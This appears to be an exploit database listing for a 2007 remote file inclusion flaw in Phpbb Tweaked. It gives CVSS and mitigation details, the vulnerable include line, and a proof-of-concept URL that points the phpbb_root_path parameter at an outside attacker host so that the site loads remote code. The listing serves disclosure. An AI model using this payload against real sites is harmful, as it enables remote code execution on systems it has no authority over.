Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

vendor:

Phpbb Tweaked

by:

xoron

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: Phpbb Tweaked

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

This exploit allows an attacker to include a remote file in the phpbb_root_path parameter of the target script. This can lead to remote code execution.

Mitigation:

Update to the latest version of Phpbb Tweaked that has the vulnerability patched. Remove any unnecessary file inclusion functionality from the application.

Source

Exploit-DB raw data:

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Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

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Author: xoron

xoron.biz - xoron.info

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Code:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

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POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

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Exploit:

www.xoron.info/bugs/phpbbtweaked.txt

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download: http://sourceforge.net/projects/phpbbtweaked/

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Tesekkurler: pang0, chaos, can bjorn
Thanx: str0ke, kacper
 
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